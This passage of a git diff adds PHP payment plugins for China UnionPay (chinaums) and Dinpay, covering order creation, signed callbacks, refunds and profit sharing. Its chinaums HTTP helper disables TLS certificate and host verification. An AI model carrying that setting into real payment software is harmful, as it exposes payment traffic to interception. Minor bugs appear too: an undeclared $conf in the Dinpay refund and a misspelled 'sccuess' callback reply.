if($psreceiver){ + $psmoney = intval(round(floor($order['realmoney'] * $psreceiver['rate']))); + $param['divisionFlag'] = true; + $param['platformAmount'] = $param['totalAmount'] - $psmoney; + $param['subOrders'] = [ + [ + 'mid' => $psreceiver['account'], + 'merOrderId' => $channel['msgsrcid'].TRADE_NO.'1', + 'totalAmount' => $psmoney + ] + ]; + } + } + + //支付宝扫码支付 + static public function alipay(){ + global $mdevice; + try{ + $code_url = self::qrcode(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //支付宝APP支付 + static public function alipayapp(){ + global $channel, $method; + try{ + $result = self::apppay('alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $device, $mdevice; + try{ + $code_url = self::qrcode(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat() || $mdevice=='wechat'){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device=='mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信APP支付 + static public function wxapppay(){ + global $channel, $method; + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $result = self::apppay('wxpay', $wxinfo['appid']); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + + $param = [ + 'nonceStr' => $result['noncestr'], + 'package' => $result['package'], + 'partnerId' => $result['partnerid'], + 'prepayId' => $result['prepayid'], + 'timeStamp' => $result['timestamp'], + 'sign' => $result['sign'], + ]; + $code_url = 'weixin://app/'.$result['appid'].'/pay/?'.http_build_query($param); + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/Build.class.php"); + + $client = new ChinaumsBuild($channel['appid'], $channel['appkey'], $channel['appswitch'] == 1); + + $verifyResult = $client->verify($_POST, $channel['appsecret']); + + if($verifyResult){ + if($_POST['instMid'] == 'H5DEFAULT'){ + if($_POST['status'] == 'TRADE_SUCCESS'){ + $out_trade_no = substr($_POST['merOrderId'],4); + $trade_no = $_POST['merOrderId']; + $money = $_POST['totalAmount']; + $buyer = $_POST['buyerId']; + $bill_trade_no = $_POST['targetOrderId']; + if($out_trade_no == TRADE_NO && $money==strval($order['realmoney']*100)){ + processNotify($order, $trade_no, $buyer, $bill_trade_no); + } + return ['type'=>'html','data'=>'SUCCESS']; + }else{ + return ['type'=>'html','data'=>'FAILED']; + } + }else{ + if($_POST['billStatus'] == 'PAID'){ + $out_trade_no = substr($_POST['billNo'],4); + $billPayment = json_decode($_POST['billPayment'], true); + $trade_no = $_POST['billNo']; + $money = $_POST['totalAmount']; + $buyer = $billPayment['buyerId']; + $bill_trade_no = $billPayment['targetOrderId']; + if($out_trade_no == TRADE_NO && $money==strval($order['realmoney']*100)){ + processNotify($order, $trade_no, $buyer, $bill_trade_no); + } + return ['type'=>'html','data'=>'SUCCESS']; + }else{ + return ['type'=>'html','data'=>'FAILED']; + } + } + } + return ['type'=>'html','data'=>'FAILED']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + require(PAY_ROOT."inc/Build.class.php"); + + $client = new ChinaumsBuild($channel['appid'], $channel['appkey'], $channel['appswitch'] == 1); + + if($order['combine'] == 1){ //H5支付退款 + $path = '/v1/netpay/refund'; + $time = time(); + $param = [ + 'msgId' => md5(uniqid(mt_rand(), true)), + 'requestTimestamp' => date('Y-m-d H:i:s', $time), + 'mid' => $channel['appmchid'], + 'tid' => $channel['appurl'], + 'instMid' => 'H5DEFAULT', + 'merOrderId' => $order['api_trade_no'], + 'billDate' => date('Y-m-d', strtotime($order['addtime'])), + 'refundOrderId' => $channel['msgsrcid'].$order['refund_no'], + 'refundAmount' => $order['refundmoney']*100, + ]; + }else{ + $path = '/v1/netpay/bills/refund'; + $time = time(); + $param = [ + 'msgId' => md5(uniqid(mt_rand(), true)), + 'requestTimestamp' => date('Y-m-d H:i:s', $time), + 'mid' => $channel['appmchid'], + 'tid' => $channel['appurl'], + 'instMid' => 'QRPAYDEFAULT', + 'billNo' => $order['api_trade_no'], + 'billDate' => date('Y-m-d', strtotime($order['addtime'])), + 'refundOrderId' => $channel['msgsrcid'].$order['refund_no'], + 'refundAmount' => $order['refundmoney']*100, + ]; + } + + $result = $client->request($path, $param, $time); + if(isset($result['errCode']) && $result['errCode']=='SUCCESS'){ + return ['code'=>0, 'trade_no'=>$result['billNo'], 'refund_fee'=>round($result['refundAmount']/100, 2)]; + }else{ + return ['code'=>-1, 'msg'=>$result['errMsg']?$result['errMsg']:'返回数据解析失败']; + } + } +} \ No newline at end of file diff --git a/plugins/chinaums/inc/Build.class.php b/plugins/chinaums/inc/Build.class.php new file mode 100644 index 0000000..d5e44f5 --- /dev/null +++ b/plugins/chinaums/inc/Build.class.php @@ -0,0 +1,121 @@ +appid = $appid; + $this->appkey = $appkey; + if($istest){ + $this->gateway = $this->gateway_test; + } + } + + // 发起支付 + public function request($path, $params, $time){ + $url = $this->gateway.$path; + $json = json_encode($params); + $authorization = $this->getOpenBodySig($json, $time); + $response = $this->httpPost($url, $json, $authorization); + $arr = json_decode($response, true); + return $arr; + } + + // 发起支付GET + public function requestGet($path, $params, $time){ + $url = $this->gateway.$path; + $json = json_encode($params); + $query = [ + 'authorization' => 'OPEN-FORM-PARAM', + 'appId' => $this->appid, + 'timestamp' => date('YmdHis', $time), + 'nonce' => md5(uniqid(mt_rand(), true)), + 'content' => $json + ]; + $query['signature'] = $this->getSignature($query['timestamp'], $query['nonce'], $query['content']); + return $url . '?' . http_build_query($query); + } + + // 获取Authorization + private function getOpenBodySig($body, $time){ + + $timestamp = date('YmdHis', $time); + $nonce = md5(uniqid(mt_rand(), true)); + $signature = $this->getSignature($timestamp, $nonce, $body); + $authorization = 'OPEN-BODY-SIG AppId="'.$this->appid.'", Timestamp="'.$timestamp.'", Nonce="'.$nonce.'", Signature="'.$signature.'"'; + return $authorization; + } + + // 获取Signature + private function getSignature($timestamp, $nonce, $body){ + $hash = hash('sha256', $body); + $str = $this->appid.$timestamp.$nonce.$hash; + $hash = hash_hmac('sha256', $str, $this->appkey, true); + $signature = base64_encode($hash); + return $signature; + } + + // 发送请求 + private function httpPost($url, $json, $authorization) + { + $ch = curl_init(); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Content-Type: application/json; charset=utf-8"; + $httpheader[] = "Connection: close"; + $httpheader[] = "Authorization: ".$authorization; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $json); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $data = curl_exec($ch); + $errno = curl_errno($ch); + if ($errno) { + $msg = 'curl errInfo: ' . curl_error($ch) . ' curl errNo: ' . $errno; + throw new \Exception($msg); + } + curl_close($ch); + return $data; + } + + // 回调签名验证 + public function verify($params, $key){ + $sign = $this->getSign($params, $key, $params['signType']); + if($sign === $params['sign']){ + return true; + } + return false; + } + + // 计算签名 + private function getSign($params, $key, $signType){ + ksort($params); + $signstr = ''; + + foreach($params as $k => $v){ + if($k != "sign" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr, 0, -1); + $signstr = $signstr.$key; + if($signType == 'SHA256'){ + $sign = strtoupper(hash('sha256', $signstr)); + }else{ + $sign = strtoupper(md5($signstr)); + } + return $sign; + } + +} diff --git a/plugins/dinpay/dinpay_plugin.php b/plugins/dinpay/dinpay_plugin.php new file mode 100644 index 0000000..bbd5786 --- /dev/null +++ b/plugins/dinpay/dinpay_plugin.php @@ -0,0 +1,590 @@ + 'dinpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '智付', //支付插件显示名称 + 'author' => '智付', //支付插件作者 + 'link' => 'https://www.dinpay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => 'SM2-Hex格式', + ], + 'appkey' => [ + 'name' => '平台公钥', + 'type' => 'textarea', + 'note' => 'SM2-Hex格式', + ], + 'appmchid' => [ + 'name' => '子商户号', + 'type' => 'input', + 'note' => '可留空', + ], + 'reportid' => [ + 'name' => '渠道商户报备ID', + 'type' => 'input', + 'note' => '可留空,多个报备ID可用,隔开', + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'H5支付', + '3' => 'JS支付', + ], + 'select_wxpay' => [ + '1' => '扫码支付', + '2' => 'H5支付', + '3' => 'JS支付', + ], + 'select' => null, + 'note' => '智付SM2公私钥提取', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('3',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && ($channel['appwxa']>0 || in_array('2',$channel['apptype']))){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('3',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && $channel['appwxmp']>0){ + return self::wxjspay(); + }elseif($device=='mobile' && ($channel['appwxa']>0 || in_array('2',$channel['apptype']))){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + static private function getReportId($reportid){ + if(strpos($reportid, ',')){ + $reportids = explode(',', $reportid); + $reportid = $reportids[array_rand($reportids)]; + global $DB; + $DB->update('order', ['param'=>$reportid], ['trade_no'=>TRADE_NO]); + } + return $reportid; + } + + //扫码支付 + static private function qrcode($paytype){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/DinpayClient.php"); + + $params = [ + 'interfaceName' => 'AppPay', + 'paymentType' => $paytype, + 'paymentMethods' => 'SCAN', + 'paymentCode' => '1', + 'payAmount' => $order['realmoney'], + 'currency' => 'CNY', + 'orderNo' => TRADE_NO, + 'orderIp' => $clientip, + 'goodsName' => $ordername, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + if($order['profits']>0){ + self::handleProfits($params); + } + if(!empty($channel['reportid'])) $params['reportId'] = self::getReportId($channel['reportid']); + + if(!empty($channel['appmchid']) && substr($channel['appmchid'], 0, 1)!='[') $channel['appid'] = $channel['appmchid']; + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $result = $client->execute('/api/appPay/pay', $params); + return $result['qrcode']; + } + + //公众号支付 + static private function publicpay($paytype, $openid, $appid){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/DinpayClient.php"); + + $params = [ + 'interfaceName' => 'AppPayPublic', + 'paymentType' => $paytype, + 'paymentMethods' => 'PUBLIC', + 'appid' => $appid, + 'openid' => $openid, + 'payAmount' => $order['realmoney'], + 'currency' => 'CNY', + 'orderNo' => TRADE_NO, + 'orderIp' => $clientip, + 'goodsName' => $ordername, + 'isNative' => '1', + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'successToUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if($order['profits']>0){ + self::handleProfits($params); + } + if(!empty($channel['reportid'])) $params['reportId'] = self::getReportId($channel['reportid']); + + if(!empty($channel['appmchid']) && substr($channel['appmchid'], 0, 1)!='[') $channel['appid'] = $channel['appmchid']; + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $result = $client->execute('/api/appPay/payPublic', $params); + return $result['payInfo']; + } + + //小程序支付 + static private function appletpay($paytype, $openid, $appid){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/DinpayClient.php"); + + $params = [ + 'interfaceName' => 'AppPayApplet', + 'paymentType' => $paytype, + 'paymentMethods' => 'APPLET', + 'appid' => $appid, + 'openid' => $openid, + 'payAmount' => $order['realmoney'], + 'currency' => 'CNY', + 'orderNo' => TRADE_NO, + 'orderIp' => $clientip, + 'goodsName' => $ordername, + 'isNative' => '1', + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + //'successToUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if($order['profits']>0){ + self::handleProfits($params); + } + if(!empty($channel['reportid'])) $params['reportId'] = self::getReportId($channel['reportid']); + + if(!empty($channel['appmchid']) && substr($channel['appmchid'], 0, 1)!='[') $channel['appid'] = $channel['appmchid']; + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $result = $client->execute('/api/appPay/payApplet', $params); + return $result['payInfo']; + } + + //H5支付 + static private function h5pay($paytype){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/DinpayClient.php"); + + $params = [ + 'interfaceName' => 'AppPayH5WFT', + 'paymentType' => $paytype, + 'paymentMethods' => 'WAP', + 'payAmount' => $order['realmoney'], + 'currency' => 'CNY', + 'orderNo' => TRADE_NO, + 'orderIp' => $clientip, + 'applyName' => $conf['sitename'], + 'applyType' => 'AND_WAP', + 'applyId' => $siteurl, + 'isNative' => '0', + 'goodsName' => $ordername, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'successToUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if($order['profits']>0){ + self::handleProfits($params); + } + if(!empty($channel['reportid'])) $params['reportId'] = self::getReportId($channel['reportid']); + + if(!empty($channel['appmchid']) && substr($channel['appmchid'], 0, 1)!='[') $channel['appid'] = $channel['appmchid']; + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $result = $client->execute('/api/appPay/payH5', $params); + return $result['payInfo']; + } + + static private function handleProfits(&$params){ + global $order; + $psreceiver = \lib\ProfitSharing\CommUtil::getReceiver($order['profits']); + if($psreceiver){ + $psmoney = round(floor($order['realmoney'] * $psreceiver['rate']) / 100, 2); + $params['splitType'] = 'FIXED_AMOUNT'; + $params['splitRules'] = json_encode([[ + 'splitBillMerchantNo' => $psreceiver['account'], + 'splitBillAmount' => $psmoney, + 'splitBillRequestNo' => TRADE_NO.$psreceiver['id'], + ]]); + } + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('1',$channel['apptype']) || empty($channel['apptype'][0])){ + try{ + $code_url = self::qrcode('ALIPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + }elseif(in_array('2',$channel['apptype'])){ + if(checkalipay() || $mdevice=='alipay'){ + try{ + $code_url = self::h5pay('ALIPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + }else{ + $code_url = $siteurl.'pay/alipay/'.TRADE_NO.'/'; + } + }elseif(in_array('3',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $payinfo = self::publicpay('ALIPAY', $user_id, '1'); + $result = json_decode($payinfo, true); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$result['tradeNO'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('1',$channel['apptype'])){ + try{ + $code_url = self::qrcode('WXPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + }elseif(in_array('2',$channel['apptype'])){ + $code_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + } + + if(checkwechat() || $mdevice=='wechat'){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device=='mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl, $channel, $order; + + if(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::h5pay('WXPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$code_url]; + }elseif ($channel['appwxa']>0) { + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try { + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + } catch (Exception $e) { + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $payinfo = self::publicpay('WXPAY', $openid, $wxinfo['appid']); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$payinfo, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $payinfo = self::appletpay('WXPAY', $openid, $wxinfo['appid']); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"微信支付下单失败!'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($payinfo, true)])); + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode('UNIONPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/DinpayClient.php"); + + if(!empty($channel['appmchid']) && substr($channel['appmchid'], 0, 1)!='[') $channel['appid'] = $channel['appmchid']; + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $verify_result = $client->sm2DoVerifySign($_POST['data'], $_POST['sign']); + + if($verify_result) {//验证成功 + + $data = json_decode($_POST['data'], true); + if ($data['orderStatus'] == 'SUCCESS') { + $out_trade_no = $data['orderNo']; + $api_trade_no = $data['channelNumber']; + $money = $data['payAmount']; + $buyer = $data['subOpenId']; + $bill_trade_no = $data['outTransactionOrderId']; + if($order['type'] == 1 && substr($bill_trade_no, 0, 4) != date('Y') && substr($bill_trade_no, 2, 4) == date('Y')) $bill_trade_no = substr($bill_trade_no, 2); + if($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)){ + processNotify($order, $api_trade_no, $buyer, $bill_trade_no); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //退款 + static public function refund($order){ + global $channel, $DB; + if(empty($order))exit(); + + require(PAY_ROOT."inc/DinpayClient.php"); + + $params = [ + 'interfaceName' => 'AppPayRefund', + 'payOrderNo' => $order['trade_no'], + 'refundOrderNo' => $order['refund_no'], + 'refundAmount' => $order['refundmoney'], + 'notifyUrl' => $conf['localurl'] . 'pay/refundnotify/' . $order['trade_no'] . '/', + ]; + if($order['profits'] > 0){ + $psorder = \lib\ProfitSharing\CommUtil::getOrder($order['trade_no']); + if($psorder){ + $rules = []; + $rules[] = [ + 'merchantNo' => $psorder['account'], + 'refundAmount' => $psorder['money'] > $order['refundmoney'] ? $order['refundmoney'] : $psorder['money'], + 'splitBillRequestNo' => $order['trade_no'].$psorder['rid'], + ]; + $params['refundSplitRules'] = json_encode($rules); + } + } + + try{ + if(!empty($channel['appmchid']) && substr($channel['appmchid'], 0, 1)!='[') $channel['appid'] = $channel['appmchid']; + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $result = $client->execute('/api/appPay/payRefund', $params); + + return ['code'=>0, 'trade_no'=>$result['refundChannelNumber'], 'refund_fee'=>$result['refundAmount']]; + + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //退款异步回调 + static public function refundnotify(){ + global $channel, $order; + + require(PAY_ROOT."inc/DinpayClient.php"); + + if(!empty($channel['appmchid']) && substr($channel['appmchid'], 0, 1)!='[') $channel['appid'] = $channel['appmchid']; + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $verify_result = $client->sm2DoVerifySign($_POST['data'], $_POST['sign']); + + if($verify_result) {//验证成功 + + $data = json_decode($_POST['data'], true); + if ($data['refundStatus'] == 'ALL_REFUND') { + $out_trade_no = $data['orderNo']; + $api_trade_no = $data['channelNumber']; + } + return ['type'=>'html','data'=>'sccuess']; + } + else { + return ['type'=>'html','data'=>'fail']; + } + } + + //转账异步回调 + static public function transfernotify(){ + global $channel, $order, $DB; + + $json = file_get_contents('php://input'); + $arr = json_decode($json, true); + if(!$arr) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT."inc/DinpayClient.php"); + + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $verify_result = $client->sm2DoVerifySign($arr['data'], $arr['sign']); + + if($verify_result) {//验证成功 + + $data = json_decode($arr['data'], true); + $orderid = $data['orderNo']; + $trade_row = $DB->find('dinpay_trade', '*', ['orderid'=>$orderid]); + if($trade_row){ + if($trade_row['status'] != $data['orderStatus']){ + $DB->update('dinpay_trade', ['status'=>$data['orderStatus'], 'reason'=>$data['statusIllustrate'], 'endtime'=>date('Y-m-d H:i:s')], ['id'=>$trade_row['id']]); + } + } + return ['type'=>'html','data'=>'sccuess']; + } + else { + return ['type'=>'html','data'=>'fail']; + } + } + + //投诉通知 + static public function complainnotify(){ + global $channel, $order, $DB; + + $json = file_get_contents('php://input'); + $arr = json_decode($json, true); + if(!$arr) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT."inc/DinpayClient.php"); + + $client = new DinpayClient($channel['appid'],$channel['appkey'],$channel['appsecret']); + $verify_result = $client->sm2DoVerifySign($arr['data'], $arr['sign']); + + if($verify_result) {//验证成功 + + $data = json_decode($arr['data'], true); + $thirdid = $data['complaintId']; + if(substr($channel['appmchid'],0,1)=='['){ + $channel['appmchid'] = $data['merchantId']; + } + if($data['appPayType'] == 'ALIPAY'){ + $channel['type'] = 1; + }else{ + $channel['type'] = 2; + } + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($thirdid); + return ['type'=>'html','data'=>'sccuess']; + } + else { + return ['type'=>'html','data'=>'fail']; + } + } +} \ No newline at end of file diff --git a/plugins/dinpay/inc/DinpayClient.php b/plugins/dinpay/inc/DinpayClient.php new file mode 100644 index 0000000..791b986 --- /dev/null +++ b/plugins/dinpay/inc/DinpayClient.php @@ -0,0 +1,149 @@ +mchid = $mchid; + if($isTest) $this->gateway_url = 'https://paymenttest.dinpay.com/trx'; + $this->platform_public_key = $platform_public_key; + $this->merchant_private_key = $merchant_private_key; + } + + //发起API请求 + public function execute($path, $data, $file = null, $download = false){ + //生成16位SM4随机秘钥 + $sm4Key = random(16); + + //加密后的SM4密钥 + $encrytionKey = base64_encode(hex2bin('04'.$this->sm2DoEncrypt($sm4Key))); + + $json = json_encode($data); + $enc_data = $this->sm4DoEncrypt($json, $sm4Key); + $sign = trim($this->sm2DoSign($enc_data)); + + $params = [ + 'merchantId' => $this->mchid, + 'timestamp' => date('YmdHis'), + 'data' => $enc_data, + 'encryptionKey' => $encrytionKey, + 'signatureMethod' => $this->sign_method, + 'sign' => $sign, + ]; + if($file){ + if($file instanceof \CURLFile){ + $params['file'] = $file; + } + $response = get_curl($this->gateway_url.$path, $params); + }else{ + $response = get_curl($this->gateway_url.$path, json_encode($params), 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + } + if($download) return $response; + + $result = json_decode($response, true); + if(isset($result['code']) && ($result['code'] == '0000' || $result['code'] == '0001')){ + if(!empty($result['sign'])){ + if(!$this->sm2DoVerifySign($result['data'], $result['sign'])){ + throw new Exception('返回数据验签失败'); + } + } + return json_decode($result['data'], true); + }elseif(isset($result['msg'])){ + throw new Exception($result['msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + + //使用商户私钥对数据进行sm2签名 + private function sm2DoSign($signStr){ + $sm2 = new Rtgm\sm\RtSm2('base64', true); + return $sm2->doSign($signStr, $this->merchant_private_key, $this->sm2userId); + } + + //使用平台公钥对数据进行sm2验签 + public function sm2DoVerifySign($signStr,$sign){ + $sm2 = new Rtgm\sm\RtSm2('base64', true); + $isSign = $sm2->verifySign($signStr, $sign, $this->platform_public_key, $this->sm2userId); + return $isSign; + } + + //使用平台公钥对数据进行sm2加密 + private function sm2DoEncrypt($plaintext){ + $sm2 = new Rtgm\sm\RtSm2('base64'); + return $sm2->doEncrypt($plaintext, $this->platform_public_key); + } + + //使用商户私钥对数据进行sm2解密 + private function sm2DoDecrypt($ciphertext){ + $sm2 = new Rtgm\sm\RtSm2('base64'); + return $sm2->doDecrypt($ciphertext, $this->merchant_private_key); + } + 